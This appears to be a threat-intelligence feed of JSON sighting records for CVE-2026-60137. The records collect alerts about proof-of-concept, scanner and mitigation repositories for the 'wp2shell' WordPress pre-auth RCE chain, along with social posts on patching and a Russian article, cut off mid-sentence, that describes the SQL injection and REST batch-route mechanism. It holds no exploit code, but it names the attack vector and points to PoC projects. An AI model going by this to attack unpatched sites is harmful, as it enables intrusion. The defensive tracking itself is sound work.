\u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-CVE-2026-60137-wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 16:30:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 Wp2shell Poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94678"}, {"timestamp": "2026-07-23T04:00:06.251Z", "date_only": false, "value": "2026-07-23T04:00:06.251414Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94635", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "486b54ae-c5c7-4787-8b97-afe36de11d81", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mcipekci\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 10:58:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for WordPress core \u2014 chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94635"}, {"timestamp": "2026-07-23T04:00:06.429Z", "date_only": false, "value": "2026-07-23T04:00:06.429491Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94529", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a657b94a-ac38-4a83-a7b5-c30c45c1e426", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Fix-CVE-2026-60137-CVE-2026-63030-in-wordpress\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mrmtwoj\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:49:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-60137Temporary Emergency Mitigation for CVE-2026-60137 & CVE-2026-63030 (wp2shell)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94529"}, {"timestamp": "2026-07-23T04:00:06.566Z", "date_only": false, "value": "2026-07-23T04:00:06.566388Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94520", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c1a1d83f-b2a9-48dd-a93b-20302bf73b0f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Colere-Sys\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:49:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAnalysis and end-to-end implementation of the patched wordpress RCE vulnerability - CVE-2026-60137 and CVE-2026-63030\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94520"}, {"timestamp": "2026-07-23T04:00:06.812Z", "date_only": false, "value": "2026-07-23T04:00:06.812883Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94519", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c0f32383-9c7c-447d-a720-80925640abc1", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell-CVE-2026-63030-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Bhanunamikaze\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:51:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC detector & safe validator for the WP2Shell WordPress vulnerability chain: CVE-2026-63030 (REST batch-route confusion) + CVE-2026-60137 (author__not_in SQL injection). For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94519"}, {"timestamp": "2026-07-23T04:56:35.231Z", "date_only": false, "value": "2026-07-23T04:56:35.231560Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrc2ecn4ld2c", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "31230f30-4a89-4648-a32f-427ee786fded", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 71 interactions\nCVE-2026-60137: 57 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 17 interactions\nCVE-2026-16232: 5 interactions\nCVE-2026-58644: 5 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrc2ecn4ld2c"}, {"timestamp": "2026-07-23T09:52:22.214Z", "date_only": false, "value": "2026-07-23T09:52:22.214854Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/VirusBulletin/statuses/116968675172587890", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2425b410-e8f9-46f9-970c-27d8de15ea5c", "content": "Elastic researchers analyse wp2shell, a pre-authentication remote code execution chain in WordPress Core (CVE-2026-63030, CVE-2026-60137).  https://www.elastic.co/security-labs/wp2shell-wordpress-rce-detection-elastic-defend", "url": "https://infosec.exchange/users/VirusBulletin/statuses/116968675172587890"}, {"timestamp": "2026-07-23T09:52:36.786Z", "date_only": false, "value": "2026-07-23T09:52:36.786188Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/virusbtn.bsky.social/post/3mrckvdwlos2u", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "39dd161a-8817-4f78-93c5-6fb1e448a84b", "content": "Elastic researchers analyse wp2shell, a pre-authentication remote code execution chain in WordPress Core (CVE-2026-63030, CVE-2026-60137).  www.elastic.co/security-lab...", "url": "https://bsky.app/profile/virusbtn.bsky.social/post/3mrckvdwlos2u"}, {"timestamp": "2026-07-23T15:00:05.030Z", "date_only": false, "value": "2026-07-23T15:00:05.030267Z", "kind": "sighting", "label": "Seen", "source": "Telegram/39Qy9vqSvx-h1k5WwJekEuwBwlXKBIMprCkBU5G7GSt60tAA", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1b340f1b-3ac3-42ef-93ed-48d9e4200c5a"}, {"timestamp": "2026-07-24T00:00:08.111Z", "date_only": false, "value": "2026-07-24T00:00:08.111023Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/39Qy9vqSvx-h1k5WwJekEuwBwlXKBIMprCkBU5G7GSt60tAA", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e82ca384-8f62-42b7-8c25-942827ff019a"}, {"timestamp": "2026-07-24T00:00:10.391Z", "date_only": false, "value": "2026-07-24T00:00:10.391851Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94519", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b20f8aa3-0436-4ce3-a588-196e7c14e51f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell-CVE-2026-63030-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Bhanunamikaze\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:51:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC detector & safe validator for the WP2Shell WordPress vulnerability chain: CVE-2026-63030 (REST batch-route confusion) + CVE-2026-60137 (author__not_in SQL injection). For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94519"}, {"timestamp": "2026-07-24T00:00:10.608Z", "date_only": false, "value": "2026-07-24T00:00:10.608050Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94520", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "002fc693-16b7-492f-9214-5d89ade86502", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Colere-Sys\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:49:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAnalysis and end-to-end implementation of the patched wordpress RCE vulnerability - CVE-2026-60137 and CVE-2026-63030\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94520"}, {"timestamp": "2026-07-24T00:00:10.913Z", "date_only": false, "value": "2026-07-24T00:00:10.913395Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94635", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "558b4006-24c7-4284-98e3-4416188703ea", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mcipekci\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 10:58:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for WordPress core \u2014 chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94635"}, {"timestamp": "2026-07-24T00:00:11.722Z", "date_only": false, "value": "2026-07-24T00:00:11.722459Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94678", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9aaab06a-b8cb-4119-81bd-dd3d0fa74f09", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-CVE-2026-60137-wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 16:30:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 Wp2shell Poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94678"}, {"timestamp": "2026-07-24T00:00:11.919Z", "date_only": false, "value": "2026-07-24T00:00:11.919142Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94648", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9ad434a8-9967-4cb2-add6-b663dfd7d070", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-vulnerability-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Adrees-Basheer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 12:34:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nScan WordPress installations for wp2shell vulnerabilities (CVE-2026-63030 + CVE-2026-60137). Identifies full RCE and SQL injection risks across multiple sites with severity classification and CSV reporting.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94648"}, {"timestamp": "2026-07-24T04:52:19.662Z", "date_only": false, "value": "2026-07-24T04:52:19.662646Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrekllz3lr24", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6cc5110b-4714-4876-93e1-4b8df07ea236", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 72 interactions\nCVE-2026-60137: 58 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 9 interactions\nCVE-2026-64600: 9 interactions\nCVE-2026-12569: 8 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrekllz3lr24"}, {"timestamp": "2026-07-24T08:30:04.150Z", "date_only": false, "value": "2026-07-24T08:30:04.150379Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mrewqx2tps2o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0be3e2c9-cc5f-44a2-9a05-1921ec347c95", "content": "wp2shell: unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137). No plugin needed. Patched July 17 (6.9.5/7.0.2), both CVEs now in CISA KEV. Check your version today.\n\n\ud83c\uddec\ud83c\udde7 zurl.co/YAUNn\n\ud83c\udde9\ud83c\uddea zurl.co/mtIxP \n\n#CyberSecurity #WordPress #CISA", "url": "https://bsky.app/profile/diesec.bsky.social/post/3mrewqx2tps2o"}, {"timestamp": "2026-07-24T09:31:25.890Z", "date_only": false, "value": "2026-07-24T09:31:25.890720Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nakachiy.bsky.social/post/3mrf26mx72k24", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9ca39ce2-f3eb-4711-8301-8df5fe336831", "content": "\u793e\u4f1a\u904b\u52d5\u3067\u81ea\u9bd6\u3084\u901a\u4fe1NGO\u306e\u30b5\u30fc\u30d3\u30b9\u3067WordPress\u4f7f\u308f\u308c\u3066\u3044\u308b\u65b9\u3005\u3082\u5927\u52e2\u3044\u3089\u3063\u3057\u3083\u308b\u3067\u3057\u3087\u3046\u306e\u3067\u6ce8\u610f\u559a\u8d77\u3068\u3057\u3066\n\nWordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell)\nwww.ipa.go.jp/security/sec...", "url": "https://bsky.app/profile/nakachiy.bsky.social/post/3mrf26mx72k24"}, {"timestamp": "2026-07-24T11:29:59.748Z", "date_only": false, "value": "2026-07-24T11:29:59.748268Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mrfasopu7v2g", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c143b6da-b08d-4fec-b64a-3907f83dc1fd", "content": "(CISA TS-SOC) CVE-2026-60137 \u2013 WordPress Core SQL Injection\u00a0Vulnerability\n\nSeverity: MEDIUM Impact Summary: Allows unauthenticated attackers to perform SQL injection, which can be chained with CVE-2026-63030 to achieve remote code execution on default WordPress installations....", "url": "https://bsky.app/profile/thecybermind.co/post/3mrfasopu7v2g"}, {"timestamp": "2026-07-24T11:43:25.137Z", "date_only": false, "value": "2026-07-24T11:43:25.137798Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrfbkpbdjz2j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6de812e9-6748-4d7f-afb7-d3b92999520f", "content": "Attackers are dropping webshells into WordPress sites. They aren't breaking in - they're using unpatched flaws.\n\nCVE-2026-60137 and CVE-2026-63030.\n\nhttps://www.yazoul.net/news/article/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/\n\n#InfoSec #ThreatIntel", "url": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrfbkpbdjz2j"}, {"timestamp": "2026-07-24T12:00:04.284Z", "date_only": false, "value": "2026-07-24T12:00:04.284720Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94951", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e03ce04c-e49e-40d3-be96-2519e12df9f3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-24 10:50:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94951"}, {"timestamp": "2026-07-24T18:00:04.107Z", "date_only": false, "value": "2026-07-24T18:00:04.107072Z", "kind": "sighting", "label": "Seen", "source": "Telegram/M-3cLQvPgI-q_MEcWYT-wWAA2JFIhIDN85UPqM1dZ7X-wCw", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5d37d489-29d3-47cf-923d-e0d286dd8dbc"}, {"timestamp": "2026-07-25T04:48:26.678Z", "date_only": false, "value": "2026-07-25T04:48:26.678960Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrh2tlntcc24", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "7d5bdcda-badc-411e-9b88-424adea5e57f", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 75 interactions\nCVE-2026-60137: 57 interactions\nCVE-2026-50522: 42 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 6 interactions\nCVE-2026-56164: 6 interactions\nCVE-2026-58644: 6 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrh2tlntcc24"}, {"timestamp": "2026-07-25T15:00:05.480Z", "date_only": false, "value": "2026-07-25T15:00:05.480196Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/771", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8e5bcb0e-8de4-4885-a316-9f7837ced996", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 